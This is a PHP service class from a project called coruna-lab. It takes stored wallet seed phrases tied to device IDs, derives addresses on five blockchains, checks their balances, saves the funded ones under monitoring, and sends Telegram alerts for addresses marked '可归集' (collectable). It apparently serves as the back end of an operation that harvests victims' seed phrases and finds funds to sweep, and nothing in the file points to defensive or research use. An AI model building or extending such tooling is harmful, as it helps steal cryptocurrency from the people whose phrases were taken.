Files
coruna-lab/app/Services/MnemonicWalletDiscovery.php
2026-09-29 05:51:48 +08:00

616 lines
20 KiB
PHP

<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Alchemy\AlchemyBalanceService;
use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainHttpTimeout;
use App\Services\Chain\ChainManager;
use App\Services\Chain\TronDriver;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
*/
class MnemonicWalletDiscovery
{
public const MAX_DERIVE_INDEX = 2;
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
public const PROBE_TIMEOUT_SECONDS = 8;
/** How long a chain with no activated address (or a failed probe) stays skipped. */
public const MISS_CACHE_SECONDS = 600;
/** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'bsc', 'chain_type' => 'BSC'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
public function __construct(
private readonly ChainManager $chains,
private readonly TelegramNotifier $telegram,
private readonly TokenviewMonitorService $tokenview,
private readonly AlchemyBalanceService $alchemy,
) {}
/**
* @return int Number of address rows created or updated
*/
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
return $this->discoverActivated($mnemonic);
}
/**
* @param bool $force Manual trigger (view wallet / refresh): bypass the
* discovery_complete flag and the per-chain miss cache
* so unlinked chains are always re-probed. Does not
* set discovery_complete.
* @return int Number of address rows created or updated
*/
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return 0;
}
$words = preg_split('/\s+/', trim($phrase)) ?: [];
if (count($words) < 12) {
Log::info('mnemonic wallet discovery skipped: phrase too short', [
'mnemonic_id' => $mnemonic->id,
'word_count' => count($words),
]);
return 0;
}
// Scheduled task: skip mnemonics already fully probed across all chains.
if (! $force && (bool) $mnemonic->discovery_complete) {
return 0;
}
$linkedChainTypes = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->pluck('chain_type')
->map(fn ($c) => strtoupper(trim((string) $c)))
->filter()
->unique()
->values()
->all();
$source = trim((string) ($mnemonic->source ?: ''));
$saved = [];
$covered = []; // chain => true when linked / miss-cached / probed this run
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
foreach (self::CHAINS as $spec) {
$chain = $spec['chain'];
if ($this->hasLinkedChain($linkedChainTypes, $chain)) {
$covered[$chain] = true;
continue;
}
// Scheduled runs respect the miss cache; manual force bypasses it.
if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) {
$covered[$chain] = true;
continue;
}
try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
]);
$this->rememberMiss($mnemonic, $chain);
$covered[$chain] = true;
continue;
}
$covered[$chain] = true;
if ($rows === []) {
$this->rememberMiss($mnemonic, $chain);
}
foreach ($rows as $row) {
$saved[] = $row;
}
}
if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
return count($saved);
});
// Scheduled run: mark complete as soon as derivation has run at least once
// (any chain covered — linked / miss-cached / probed). Subsequent scheduled
// runs skip this mnemonic entirely; manual force=true still re-probes.
if (! $force && $covered !== []) {
WalletMnemonic::query()
->whereKey($mnemonic->id)
->update([
'discovery_complete' => true,
'discovered_at' => now(),
]);
}
return $created;
}
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
{
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
}
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
{
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
}
/**
* @param list<string> $linkedChainTypes uppercase chain_type values already linked
*/
private function hasLinkedChain(array $linkedChainTypes, string $chain): bool
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
'bsc' => ['BSC', 'BNB', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
};
return array_intersect($aliases, $linkedChainTypes) !== [];
}
/**
* Persisted linked rows, or ephemeral index-0 previews when none exist.
*
* @return list<array<string, mixed>>
*/
public function walletCards(WalletMnemonic $mnemonic): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
if ($addresses->isNotEmpty()) {
return $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'sol' => $coins['sol'],
'active' => true,
'persisted' => true,
];
})->values()->all();
}
return $this->inactiveIndexZeroCards($mnemonic);
}
/**
* @return list<WalletAddress>
*/
private function discoverChain(
WalletMnemonic $mnemonic,
string $phrase,
string $source,
string $chain,
string $chainType,
): array {
$driver = $this->chains->resolve($chain);
$saved = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$address = $driver->deriveAddress($phrase, $index);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'index' => $index,
]);
break;
}
try {
$probe = $this->probeActivated($chain, $driver, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
'index' => $index,
]);
break;
}
if (! $probe['activated']) {
continue;
}
$persisted = $this->persistActivated(
$mnemonic,
$source,
$chainType,
$address,
$index,
$probe['coins'],
);
if ($persisted !== null) {
$saved[] = $persisted;
}
}
return $saved;
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
{
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'bsc' => $this->probeBsc($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
};
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeTron(ChainDriver $driver, string $address): array
{
if (! $driver instanceof TronDriver) {
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
}
$probe = $driver->probeAccount($address);
if (! $probe['activated']) {
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
}
return [
'activated' => true,
'coins' => [
'trx' => $probe['trx'],
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeEth(ChainDriver $driver, string $address): array
{
if ($this->alchemy->isEnabled()) {
$result = $this->alchemy->fetch('ETH', $address);
if ($result !== null) {
return [
'activated' => $result['activated'],
'coins' => $this->evmCoinsFromAlchemy($result, 'eth'),
];
}
// Alchemy failed → fall through to RPC.
}
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
}
return [
'activated' => true,
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
];
}
/**
* @param array<string, mixed> $result
* @return array<string, string>
*/
private function evmCoinsFromAlchemy(array $result, string $network): array
{
$coins = $this->emptyCoins($network);
if ($result['native'] !== null) {
$coins[$network] = $result['native']['amount'];
}
foreach ($result['tokens'] as $t) {
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
$coins['usdt'] = $t['amount'];
break;
}
}
return $coins;
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBsc(ChainDriver $driver, string $address): array
{
if ($this->alchemy->isEnabled()) {
$result = $this->alchemy->fetch('BSC', $address);
if ($result !== null) {
return [
'activated' => $result['activated'],
'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'),
];
}
// Alchemy failed → fall through to RPC.
}
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
return [
'activated' => true,
'coins' => [
'bnb' => $bnb,
'usdt' => $usdt,
],
];
}
private function probeBtc(ChainDriver $driver, string $address): array
{
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver.
if ($driver instanceof BtcDriver) {
$probe = $driver->probeAddress($address);
return [
'activated' => $probe['activated'],
'coins' => ['btc' => $probe['btc']],
];
}
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
}
return [
'activated' => true,
'coins' => ['btc' => $driver->getNativeBalance($address)],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeSol(ChainDriver $driver, string $address): array
{
if ($this->alchemy->isEnabled()) {
$result = $this->alchemy->fetch('SOL', $address);
if ($result !== null) {
return [
'activated' => $result['activated'],
'coins' => $this->solCoinsFromAlchemy($result),
];
}
// Alchemy failed → fall through to SolDriver RPC.
}
try {
$sol = $driver->getNativeBalance($address);
} catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', ''));
$activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0;
if (! $activated) {
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
return [
'activated' => true,
'coins' => [
'sol' => $sol,
'usdt' => $usdt,
],
];
}
/**
* @param array<string, mixed> $result
* @return array<string, string>
*/
private function solCoinsFromAlchemy(array $result): array
{
$coins = $this->emptyCoins('sol');
if ($result['native'] !== null) {
$coins['sol'] = $result['native']['amount'];
}
foreach ($result['tokens'] as $t) {
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
$coins['usdt'] = $t['amount'];
break;
}
}
return $coins;
}
/**
* Persist (or refresh) an activated derived address. Returns the row only
* when this is a first-time association (new row, or previously unlinked) so
* the caller can fire a single "可归集" notification. Already-linked rows are
* refreshed silently and return null to avoid duplicate notifications.
*
* @param array<string, string> $coins
* @return WalletAddress|null null when the row was already linked to this mnemonic
*/
private function persistActivated(
WalletMnemonic $mnemonic,
string $source,
string $chainType,
string $address,
int $index,
array $coins,
): ?WalletAddress {
$row = WalletAddress::query()->firstOrNew([
'device_id' => $mnemonic->device_id,
'address' => $address,
'source' => $source !== '' ? $source : null,
'chain_type' => $chainType,
]);
// First-time association = brand-new row OR an existing row that had no
// mnemonic link yet. Only these warrant a collectable notification.
$isNew = ! $row->exists;
$wasUnlinked = $isNew || $row->getOriginal('mnemonic_id') === null;
$row->chain_type = $chainType;
$row->mnemonic_id = $mnemonic->id;
$row->derive_index = $index;
$row->monitor = 1;
if ($isNew) {
$row->monitor_synced = false;
$row->monitor_failures = 0;
}
foreach ($coins as $col => $value) {
$row->{$col} = $value;
}
$row->save();
$this->enableMonitor($row);
return $wasUnlinked ? $row : null;
}
/**
* @return list<array<string, mixed>>
*/
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return [];
}
$source = trim((string) ($mnemonic->source ?: ''));
$cards = [];
foreach (self::CHAINS as $spec) {
try {
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
} catch (\Throwable) {
continue;
}
$cards[] = [
'id' => null,
'address' => $address,
'chain_type' => $spec['chain_type'],
'source' => $source,
'derive_index' => 0,
'usdt' => null,
'trx' => null,
'eth' => null,
'btc' => null,
'bnb' => null,
'sol' => null,
'active' => false,
'persisted' => false,
];
}
return $cards;
}
/**
* @return array<string, string>
*/
private function emptyCoins(string $chain): array
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'bsc' => ['bnb' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],
};
}
private function enableMonitor(WalletAddress $address): void
{
try {
$this->tokenview->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
}
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
{
$contract = trim($contract);
if ($contract === '') {
return '0';
}
try {
return (string) $driver->getTokenBalance($address, $contract);
} catch (\Throwable) {
return '0';
}
}
}